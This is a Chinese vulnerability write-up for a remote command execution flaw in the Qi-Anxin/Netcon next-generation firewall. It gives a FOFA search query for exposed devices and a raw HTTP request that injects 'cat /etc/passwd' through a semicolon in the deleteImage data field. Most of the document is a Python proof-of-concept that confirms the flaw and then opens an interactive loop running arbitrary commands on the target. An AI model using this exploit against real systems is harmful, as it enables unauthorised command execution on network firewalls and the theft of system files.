# 奇安信 网康下一代防火墙 RCE

## 漏洞描述

奇安信 网康下一代防火墙存在远程命令执行，通过漏洞攻击者可以获取服务器权限

## 漏洞影响

> [!NOTE]
>
> 奇安信 网康下一代防火墙

## FOFA

> [!NOTE]
>
> app="网康科技-下一代防火墙"

## 漏洞复现

登录页面如下

![](image/qax-2.png)

发送如下请求包

```
POST /directdata/direct/router HTTP/1.1
Host: XXX.XXX.XXX.XXX
Connection: close
Content-Length: 179
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

```

再请求获取命令执行结果

```
http://xxx.xxx.xxx.xxxx/test_cmd.txt
```

![](image/qax-1.png)

## 漏洞POC

```python
import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: 奇安信 网康下一代防火墙                                      \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/directdata/direct/router"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/json",
    }
    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}'
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
        if response.status_code == 200 and "success" in response.text:
            print("\033[32m[o] 目标{}可能存在漏洞, 正在执行命令 cat /etc/passwd \033[0m".format(target_url))
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
            if "root" in response.text and response.status_code == 200:
                print("\033[32m[o] 响应为： {} \033[0m".format(response.text))
                while True:
                    cmd = input("\033[35mCmd >>> \033[0m")
                    if cmd == "exit":
                        sys.exit(0)
                    else:
                        POC_2(target_url, cmd)
        else:
            print("\033[31m[x] 目标不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, cmd):
    vuln_url = target_url + "/directdata/direct/router"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/json",
    }
    data = '{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;%s >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}' % (cmd)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=target_url + "/test_cmd.txt", headers=headers, data=data, verify=False, timeout=5)
        print("\033[32m[o] 响应为： \n{} \033[0m".format(response.text))
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)
```

![](image/qax-3.png)